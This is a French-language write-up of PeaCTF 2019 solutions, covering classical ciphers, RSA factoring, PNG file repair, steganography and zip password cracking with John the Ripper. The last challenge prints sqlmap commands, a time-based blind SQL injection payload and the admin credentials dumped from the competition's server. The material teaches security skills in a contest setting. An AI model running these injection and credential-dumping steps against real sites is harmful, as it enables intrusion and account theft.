Write Up PeaCTF 2019

Breakfast (Crypto 50 points)

Mmm I ate some nice bacon and eggs this morning. Find out what else I had foran easy flag. Don’t forget to capitalize CTF!

Une suite binaire nous est donnée, il s'agit du chiffre bilitère (chiffre bacon)

011100010000000000101001000101{00100001100011010100000000010100101010100010010001}

Un service online permet d'avoir le flag

https://www.dcode.fr/chiffre-bacon-bilitere

EGGWAFFLES

flag : peactf{EGGWAFFLES}

Broken Keyboard (Crypto 50 points)

Help! My keyboard only types numbers!

Une suite de chiffre nous est donnée,  il s'agit d'ASCII

112 101 97 67 84 70 123 52 115 99 49 49 105 115 99 48 48 108 125

Pour le décoder :

#!/usr/bin/python
ascii = [112, 101, 97, 67, 84, 70, 123, 52, 115, 99, 49, 49, 105, 115, 99, 48, 48, 108, 125]
flag = []
for char in ascii:
        flag.append(chr(char))

print ''.join(flag)
python asciidecode.py

peaCTF{4sc11isc00l}

flag : peaCTF{4sc11isc00l}

Worth (General skills 50 points)

This problem is worth 0o511 points. Put your answer in the flag format: flag{peactf_}

0o511 correspond à une valeur octet, en la décodant

python -c 'print(0o511)'
329

329 correspond à la valeur décimale

flag : flag{peactf_329}

Merci a Draginkilled pour son explication simple et efficace

Hide and Seek (General skills 100 points)

Try to find to the flag file located somewhere in the folders located  in: /problems/hide-and-seek_23_ed9c7093107beae69840ddce8d687209

Via le webshell fournit en recherchant dans le chemin donné avec grep :

flag : flag{peactf_linux_is_fun_4c88df340d9b27e797fe4f34fc4f01be}

Mention spécial à Avik & Draginkilled pour leur autre solution: find /problems/hide-and-seek_23_ed9c7093107beae69840ddce8d687209 -name ".txt"

SCHOOL (Crypto 100 points)

My regular teacher was out sick so we had a substitute today

Le flag chiffré nous est donné avec l'alphabet, la forme du challenge et le titre font penser à de la substitution

Alphabet: WCGPSUHRAQYKFDLZOJNXMVEBTI
zswGXU{ljwdhsqmags}

En le déchiffrant avec l'alphabet donné

https://www.dcode.fr/substitution-monoalphabetique

PEACTF{ORANGEJUICE}

flag : peaCTF{ORANGEJUICE}

Choose your Pokemon (Forensic 150 points)

Just a simple type of recursive function master-ball

Un fichier "master ball" nous est donné, il s'agit d'une archive RAR

file master-ball
master-ball: RAR archive data, v5

En extrayant la data

7z e master-ball

Extracting archive: master-ball
--
Everything is Ok

Un fichier roshambo est extrait, il s'agit d'un zip, si on l'extrait à son tour

file roshambo
roshambo: Zip archive data, at least v2.0 to extract

unzip roshambo
Archive:  roshambo
  inflating: inDesign

file inDesign
inDesign: PDF document, version 1.7

Si on ouvre le PDF récupéré dans roshambo, le PDF nous donne un lien pastebin

https://pastebin.com/AWTDEb9j

La page contient de la data ressemblant à du XML, si on récupère la data

curl https://pastebin.com/raw/AWTDEb9j >> raw

file raw
raw: Rich Text Format data, version 1, unknown character set

il s'agit de RTF, un format annexe au format .doc (word), si on reconstruit le fichier word à partir du RTF

https://convertio.co/fr/rtf-doc/

Le word nous donne le flag

{wild_type}

flag : {wild_type}

Coffee Time (Reversing 250 points)

Run this jar executable in a virtual machine and see what happens.

Un fichier Jar nous est fournit, en analysant le code source avec Java-Decompiler nous obtenons le flag (situé à la condition de l'entrée utilisateur)

flag : peaCTF{nice_cup_of_coffee}

We are E.xtr (Forensic 350 points)

Un fichier nous est donné

file E.xtr
E.xtr: data

En effectuant un strings dessus on remarque IEND en footer de fichier (fin de fichier)

strings E.xtr

.......
;`9Lf6wIm
>?BW
[5'k
4p|7
peE4^
Ae!I
)_UX
lb7w
A!xB
IEND

La valeur IEND est généralement contenue dans les footer de fichier PNG, en regardant le code hexa du fichier, celui-ci ne dispose pas de l'en-tête PNG

hexdump -C E.xtr 

00000000  89 58 54 52 0d 0a 1a 0a  00 00 00 0d 49 48 44 52  |.XTR........IHDR|
00000010  00 00 05 00 00 00 02 d0  08 03 00 00 01 8f a4 1d  |................|
00000020  f2 00 00 00 01 73 52 47  42 00 ae ce 1c e9 00 00  |.....sRGB.......|
......

https://digital-forensics.sans.org/media/hex_file_and_regex_cheat_sheet.pdf

Si on remplace le header XTR par le PNG :

hexeditor E.xtr

89 50 4E 47 à la place de 89 58 54 52

file E.xtr
E.xtr: PNG image data, 1280 x 720, 8-bit colormap, interlaced

En ouvrant le PNG

flag : {read_banned_it}

Crack The Key (Crypto 450 points)

On one of my frequent walks through the woods, I  stumbled upon this old French scroll with the title "le chiffre  indéchiffrable." Remember to submit as peaCTF{plaintext_key}

Nous avons un texte chiffré en vigenere

DVMDVRWOUISIERRRGNNVMWPOPGTOHSBUIHTCSSMJIVUWEXHTCTKZKFXIENWTDDOVMEOWDZRQEBQPVLFWKJBGL
EEDALGCIVLQGLTWTCMFXSIAQTLTUGZQZZWOPVGIRCSLRUZRJUZBQSXSPXGJMGTPRPUGRSIVRGUDAFXHTNLVVBMF
ZMQSFUWTWTFSWHIGXHTQLGCUSRGLEIWWXXWWCJDAIFXGAPDWGWFHTZSVOBISITRVUTTVRTWTDGMCPHGGNRDB
POIZZWZPGHTTDQPHOYIUTUEWJDCPWORWDAZREDNHYSJZRJPAFSOCPDXZVPLVPGMNIWPFWUVRDUJINIDFXLYIUTE
NWAHITVJZRJPVQEFAJEXWIMQVIYPTWGZYYYXKTNNVMQJTPVZRJHEBVDWPOKGEIUDCAHDJGTRYKLHSILXHPIZPVDE
MDZGLEEGTDWDMGSTRAHXIPFGRVKPLUEDPHEVSEKHSZREMDCELWGVHKQBYSCXRLLRRGLQFLESIZGGDQXCQPETT
XEXGKLHDBUIRPCTQSCWLIPNHBTTYEYIIHSBUETIWPCKYSXALNPLBTPXAEXKTJVKBPGYEKJSRCIFQRYDYIKNEVHISILN
DFXGWXKTENCOASXEBFVVDPRAAHPWASPWFPTYIDIWZYYYXKTVNQEJCOIJNLLRPUIHPSMIWEIAWQOMTTSHEKNMOAQ
AKDDCMISLXBLIFWOWXRLDPVHVIEHESDYXZVJDGUGLAITGIJPSQTENWQJXEIJVEGNBBPOHTLRZFYUHAYIEEXYSJUIUI
WUIAGLSELYIKPLGSSPNLXGEIHCLBJTWTMMYSEUCWAESDGESXIELHMQTLPIQSJDQDYWEAAHPWVWRHBTVFGOCRPH
GELLHJRHOUHEVSNYQSMEELPCEIJEAKXKULUCVQVGDEETIZLELPDXOVPYTGRERHDWHSEHKPLYETTAJKJFAQGIGLEG
HESMKFXIPRAAHHEMDCEPPRRWTXRWSGBMQVXVKWXISEOZWHPVQFECTGSDVRWPXCIAGPYGWZRVEQGIOUISIXRG
WIPNXHXHEYKYIVWIQREKTCFWVRFJBOIFDGPPGEKWWMBXHTGLRADEOHJRKACIZEJIMYTIAHMPZPXZVQVTTIISRDXJGI
XDQTREFITCXZVMUSQSJEGTYXXRWKXWAWFXGDXURQHIPRXHGTPHGXWEACRFEAAUIKJMHPVQTICRSIJRRGIPRRTWT
AMYJAKDARXTATOHGNRLCBUISIGLAADQHSQNXEANTRXISQIWSXHTEWELWSUBBUIHTCDTWIGKTLGLEBHPPNVWRCBU
IWXCOSOJMOAAGLEEXRIGEWIACGXEGTOYHKSWWMEEFITCWLYIVWMRTACSNSOJPDNLBANQTSMFUXKTXVKSPCOFW
XEQIWPLELISIULHWWMGAORPCXZFVVTAOSXTGLRVTPRKMEGABTTRLFKHIPRVWPAVMFXZHGGFPOLAJEFUWHIBVRGS
DHRLYILGDNWTWPTVQYSRUAJMTWVCISKGDGMYISIISIJVWKDCYHBTHZQWJQDATNRIBPWGGEGHPTRHICISIKKVDLKYS
VTGHEKRWWDCGQOIWPVDPQDGMNTPGDLGZZRJBQQHLTATJWNLRWIQREKTCUMZXHVWGLEGUTKMIIEPKXEFITCLWIJ
RJZGLFDPWFGOIULIFENTCZVEFYVQMNWTCTLVDPILVPGIECWLRVJLLVPNRDPHDXJFRJPANRYILZSJUMQPZLLOGHPWH
LXWDORXHTGLAZZXHHBEMPTSZAFYMVCWFIGPKPLADEVDURAHPIDXMGMGPXCIAGPYGWRRGXVSECIWPASJRRIWSJI
GHEVSKILCBRPLXVPRUVFXIPRAAHJYMNVVVPTYCRTHAIUKIGUWELIHHEISUMQTAFSFRWLVSTXHGIAHTGTXIFUSXHXBA
EGHZJOFVNPNGIRIWPLGIWHHKNQEBJCMWCXKTEUMTTVZELRRGQMANABXYXZVHRCSRCBTCUEEZRZPAGLEDAOIKKE
QXUNPOCISIXRVPPVQXHTLZVKKXHBXRVESWPWWCHRBBNPKTSLRVNLHCPRHISXEASJYVJIYPYIDXECVWRBMPCNXRL
PJVQDGSSSRXCDXSEGHWMJSUASDEQKLDIOBHHPSRMNVRKXUNXAXAESCVISIPRJLXTDSXWFXIBUETWTHSMCHVDWA
IRWPGIZRHQDBNMLPCORGWPLTANPOCTLQGEKWWMNRIBPWWGEXKTNNVMWTYINVVOPCTLESXQEKBIGLPLLELDFPVJ
EBIPNXHTHLAFFXKXVTXOAPFKZRXQTDRVTWTWIKJALIPBYTDEPRDPEGBQGXICVTXZVADHLRZOITOXGSSATZGLEILZSX
KLHBCFYAAAJWHVRWIPRMRHJYHSPWWDORXHTGTRLYIVBIYPPPSOSUBFHNWAHTWTZVUYEUSOEEZXCRWAUIENAVH
EPCORWMIUHXREKXCR

En bruteforçant la clef et en se basant sur la langue English

https://www.guballa.de/vigenere-solver

Clear text using key "redpineapples":

flag : peaCTF{redpineapples}

Mention spécial au temps perdu a chercher le flag dans le texte alors qu'il s'agissait de la clé ;)

RSA (Crypto 500 points)

Nous avons 2 fichiers :

cat auth_channel.txt

Authenticated (unhashed) channel:
n = 59883006898206291499785811163190956754007806709157091648869
e = 65537
c = 23731413167627600089782741107678182917228038671345300608183
cat enc_channel.txt

Encrypted channel:
n = 165481207658568424313022356820498512502867488746572300093793
e = 65537
c = 150635433712900935381157860417761227624682377134647578768653

Concernant le fichier enc_channel.txt, la première ligne indique qu'il s'agit d'un canal chiffré, nous devons donc retrouver les facteurs premiers de n (p & q), pour cela factordb.com est pratique

Une fois p & q trouvées, on calcul phi, puis d et m qui correspond au message en clair

#!/usr/bin/python

from Crypto.Util.number import inverse

#(n,e) correspond a la public key de chiffrement
#n = pq (aussi appele modulus)
n = 165481207658568424313022356820498512502867488746572300093793

#Exposant du chiffrement
e = 65537

#c correspond au message chiffre
c = 150635433712900935381157860417761227624682377134647578768653


#p et q sont les facteurs premiers de n

p = 404796306518120759733507156677
q = 408801179738927870766525808109

# phi correspond a la valeur de l'indicatrice d'Euler en n
phi = (p - 1) * (q - 1)

#d est la clef privee
d = inverse(e, phi)                                                                                                                                                                                                                                                                                                                                                                                                                                                                       # Pour dechiffrer, on utilise d (inverse de modulus phi) et le message est dechiffre                                                                                                                                                         m = pow(c, d, n)

#Puis on decode la valeur hexa en ascii
print hex(m)[2:-1].decode('hex')
python rsa.py

peaCTF{f4ct0r

On obtient la première partie du flag, pour le fichier auth_channel.txt, la première ligne du fichier nous indique qu'il s'agit d'un canal authentifié, les valeurs ne sont donc pas hachées. Nous n'avons donc pas besoin de trouver les facteurs premiers p et q de n. Nous pouvons directement calculer m pour retrouver le message en clair.

#!/usr/bin/python                                                                                                       
# (n,e) correspond a la public key de chiffrement
n = 59883006898206291499785811163190956754007806709157091648869
e = 65537

# C correspond au message chiffre
c = 23731413167627600089782741107678182917228038671345300608183

# m est la formule pour dechiffrer le message
m = pow(c, e, n)

#On decode la valeur hexa en ascii
print hex(m)[2:-1].decode('hex')
python rsa2.py

1ng1sfun}

On obtient la deuxième partie du flag: 1ng1sfun}

flag : peaCTF{f4ct0r1ng1sfun}

Merci à Avik pour ses explications, ses script et son writeup

The Wonderfull Wizard (Forensics 750 points)

Une image nous est donné

En l'analysant quelques informations intéréssantes tombes

stegoveritas TheWonderfulwizard.png

Running Module: SVImage
+---------------------------+------+
|        Image Format       | Mode |
+---------------------------+------+
| Portable network graphics | RGBA |
+---------------------------+------+
Found something worth keeping!
ISO-8859 text, with very long lines, with no line terminators
Found something worth keeping!
ISO-8859 text, with very long lines, with no line terminators
Found something worth keeping!
ISO-8859 text, with very long lines, with no line terminators
Found something worth keeping!
ISO-8859 text, with very long lines, with no line terminators
....

Une image extraite via le LSB donne une valeur hexadécimale

Si on la décode :

echo "66 6c 61 67 7b 70 65 61 63 74 66 5f 77 68 65 72 65 5f 74 68 65 5f 77 69 6e 64 5f 62 6c 6f 77 73 7d" | xxd -r -p

flag{peactf_where_the_wind_blows}

flag : flag{peactf_where_the_wind_blows}

Song of My People (Forensics 800 points)

A specific soundcloud rapper needs help getting into his password  protected zipped file directory. The initial password is in the title.  You just have to know your memes, and pick the right instrument! We were  on the fence on giving you an image to go along with this puzzle, but  the loincloth was too scandalous. Alternatively, you could bruteforce.

On commence par bruteforcer le zip

zip2john song_of_my_people.zip >> hash
john --format=zip hash --show

song_of_my_people.zip/Ice Cube - Check Yo Self Remix (Clean).mp3:violin:Ice Cube - Check Yo Self Remix (Clean).mp3:song_of_my_people.zip:song_of_my_people.zip

1 password hash cracked, 0 left

En dézippant, on obtient un PNG, un MP3 et un README.txt

file *

a lengthy issue.png:                        PNG image data, 1280 x 720, 8-bit colormap, interlaced
Ice Cube - Check Yo Self Remix (Clean).mp3: Audio file with ID3 version 2.4.0, contains:MPEG ADTS, layer III, v1, 192 kbps, 44.1 kHz, Stereo
README.txt:                                 ASCII text, with CRLF line terminators


cat README.txt

one of the three files is a red herring, but a helpful one at that.

does any of this ADD up? This is a LONG problem.

L'analyse du MP3 n'a rien donné, en revanche le PNG n'est pas ouvrable suite à un problème de chunk "PLTE: chunk data is too large"

L'image PNG a été volontairement corrompu, en lisant la RFC du type de fichier PNG, il est clairement (OUPAH) expliqué l'ordre et valeur HEXA qui compose chaque Chunk, un super article détaille ici (Good JOB !)

En analysant le fichier on y constate bien l'erreur Chunk & CRC

pngchunks a\ lengthy\ issue.png 
Chunk: Data Length 13 (max 2147483647), Type 1380206665 [IHDR]
  Critical, public, PNG 1.2 compliant, unsafe to copy
  IHDR Width: 1280
  IHDR Height: 720
  IHDR Bitdepth: 8
  IHDR Colortype: 3
  IHDR Compression: 0
  IHDR Filter: 0
  IHDR Interlace: 1
  IHDR Compression algorithm is Deflate
  IHDR Filter method is type zero (None, Sub, Up, Average, Paeth)
  IHDR Interlacing method is unknown
  Chunk CRC: -1885069838
Chunk: Data Length 1 (max 2147483647), Type 1111970419 [sRGB]
  Ancillary, public, PNG 1.2 compliant, unsafe to copy
  ... Unknown chunk type
  Chunk CRC: -1362223895
Chunk: Data Length 4 (max 2147483647), Type 1095582055 [gAMA]
  Ancillary, public, PNG 1.2 compliant, unsafe to copy
  ... Unknown chunk type
  Chunk CRC: 201089285
Chunk: Data Length 1212501072 (max 2147483647), Type 1163152464 [PLTE]
  Critical, public, PNG 1.2 compliant, unsafe to copy
  ... Unknown chunk type
Erreur de segmentation

Àvec un hexdump on y retrouve le magicnumer PNG (qui indique qu'il s'agit d'un PNG) le chunk IHDR, gAMA puis le LPTE (qui pose problème)

hd a\ lengthy\ issue.png | more

00000000  89 50 4e 47 0d 0a 1a 0a  00 00 00 0d 49 48 44 52  |.PNG........IHDR|
00000010  00 00 05 00 00 00 02 d0  08 03 00 00 01 8f a4 1d  |................|
00000020  f2 00 00 00 01 73 52 47  42 00 ae ce 1c e9 00 00  |.....sRGB.......|
00000030  00 04 67 41 4d 41 00 00  b1 8f 0b fc 61 05 48 45  |..gAMA......a.HE|
00000040  4c 50 50 4c 54 45 ff ff  ff f7 f7 f7 40 40 40 00  |LPPLTE......@@@.|

La valeur Hexa du chunk PLTE est égale à 50 4C 54 45, on y remarque 48 45 4C 50 (HELP) qui la précède, cela laisse à penser que l'erreur se situe ici

Via un éditeur héxa il suffit de remplacer cette valeur par le CRC correspondant, pour calculer le CRC :

Il y a 906 caractères Hexa, si on les convertis en octets et divise par 2 :
906 /2 = 453 ; 453 est divisible par 3 (comme le veut la RFC)
En convertissant la taille octal (base10) en hexadecimal (base16)
http://extraconversion.com/base-number/base-10
Nous obtenons 01C5 qui donne 00 00 01 C5 correspondant au bon CRC

Une fois modifié

L'image est désormais valide, si on l'ouvre :

En décodant l'héxa :

echo "54 68 65 20 4c 69 62 72 61 72 79 20 6f 66 20 42 61 62 65 6c 3a 0a 28 77 69 74 68 20 6e 65 77 20 61 64 64 69 74 69 6f 6e 20 6f 66 20 61 6c 6c 6c 20 74 68 65 20 70 6f 73 73 69 62 6c 65 20 64 69 73 73 20 74 72 61 63 6b 73 20 74 6f 20 65 76 65 72 20 62 65 20 6d 61 64 65 20 61 6e 64 20 65 76 65 72 20 63 6f 75 6c 64 20 62 65 20 6d 61 64 65 29" | xxd -r -p

The Library of Babel:
(with new addition of alll the possible diss tracks to ever be made and ever could be made)

Sur le lien soundcloud, une bref description donnant un indice

this concert is part of a larger tour that is archived  completely in some kind of hexagonal library. The archive is named  between "maybe" and a "repeat". Should be on the 371st page. I would give you an mp3 of this audio, but I don't know how to navigate those sketchy websites.

Le son de soundcloud est un message morse, en le décodant on obtient :

EUP YALL ITS YA BOI LIL ICE CUBE MELTING OUT HERE IN THE HAWAII HEAT FOR ALL OF YOU. YOU GUESSED IT THIS IS LIVE AUDIO FROM MY WORLD TOUR. I REPEAT LIL ICE CUBES WORLD TOUR MAYBE A LIBRARY WILL HELP

Les 2 indices parlent bien d'une bibliothèque, il s'agit de la bibliothèque de babel

La  disposition des galeries est toujours la même: vingt étagères, cinq de  chaque côté, alignées quatre des six côtés de l'hexagone… chaque étagère  détient trente-deux livres de format identique; chaque livre contient quatre cent dix pages; chaque page, quarante lignes; chaque ligne, environ quatre-vingts lettres noires

Malgré des heures passés dessus, je n'ai rien trouvé (Babel = Troll ?)

Dans les nombreux indices, il est indiqué le format du flag et quelques informations sur les champs manquants

{X_thousand_spaces_N}

X = nombres de places du concerts restantes
N = Pages de l'archives de la librarie

Sur soundcloud : "Should be on the 371st page"

En testant en incrémentale le nombre de place, on trouve le flag valide

{0_thousand_spaces_371}
{1_thousand_spaces_371}
{2_thousand_spaces_371}
{3_thousand_spaces_371}

flag : {3_thousand_spaces_371}

Merci à DADMIN pour le hint final et Chunk PNG, Merci à Avik pour l'aide sur le bruteforce zip

Phillips And Over (Web 900 points)

There is a website running at http://shell1.2019.peactf.com:55534. Try to log in the "admin" account.

Dans l'URL de connexion, un lien "Forgot your password", en analysant le code source on y remarque un champs "debug" qui est caché

On y remarque une injections SQL possible avec le paramètre debug à 1 et l'envoi d'apostrophe '

Via SQLMAP on tente plusieurs type d'injection

sqlmap -u 'http://shell1.2019.peactf.com:55534/result.php' --data="username='&answer=a&debug=1"

....
[14:51:37] [INFO] testing if POST parameter 'username' is dynamic
[14:51:37] [INFO] POST parameter 'username' appears to be dynamic
[14:51:37] [INFO] heuristic (basic) test shows that POST parameter 'username' might be injectable (possible DBMS: 'SQLite')
[14:51:38] [INFO] heuristic (XSS) test shows that POST parameter 'username' might be vulnerable to cross-site scripting (XSS) attacks
POST parameter 'username' is vulnerable

sqlmap identified the following injection point(s) with a total of 716 HTTP(s) requests:
---
Parameter: username (POST)
    Type: time-based blind
    Title: SQLite > 2.0 OR time-based blind (heavy query)
    Payload: username=' OR 2360=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(500000000/2))))-- HzbV&answer=a&debug=1
---
[14:56:27] [INFO] the back-end DBMS is SQLite
back-end DBMS: SQLite
....

Maintenant que la SQLi a été identifiée on affiche les colones

sqlmap -u 'http://shell1.2019.peactf.com:55534/result.php' --method POST --data="username=admin&answer=admin&debug=1" --random-agent --columns

adjusting time delay to 3 seconds due to good response times
users
[15:56:27] [INFO] retrieved: CREATE TABLE users 'username text, password tex

[16:00:13] [ERROR] invalid character detected. retrying..
[16:00:13] [WARNING] increasing time delay to 4 seconds
t

[16:00:24] [ERROR] invalid character detected. retrying..
[16:00:24] [WARNING] increasing time delay to 5 seconds
, answer text)
Database: SQLite_masterdb
Table: None
[3 columns]
+----------+------+
| Column   | Type |
+----------+------+
| answer   | text |
| password | text |
| username | text |
+----------+------+

On dump les colonnes answer, password, username, pour récupérer les valeurs :

sqlmap -u 'http://shell1.2019.peactf.com:55534/result.php' --method POST --data="username=admin&answer=admin&debug=1" --random-agent --columns --dump

[16:04:00] [INFO] resumed: CREATE TABLE users 'username text, password text, answer text)
Database: SQLite_masterdb
Table: None
[3 columns]
+----------+------+
| Column   | Type |
+----------+------+
| answer   | text |
| password | text |
| username | text |
+----------+------+

[16:04:12] [INFO] retrieved:

[16:04:14] [INFO] adjusting time delay to 3 seconds due to good response times
apple
[16:04:38] [INFO] retrieved: 99232833
[16:05:18] [INFO] retrieved: admin
Database: SQLite_masterdb
Table: users
[1 entry]
+--------+----------+----------+
| answer | username | password |
+--------+----------+----------+
| apple  | admin    | 99232833 |
+--------+----------+----------+

En se connectant :

Flag : flag{peactf_E_>_A_778d32cbfc538c54867ef5956cbf4bf1}!

Clin d'oeil aux collègues parisien ESD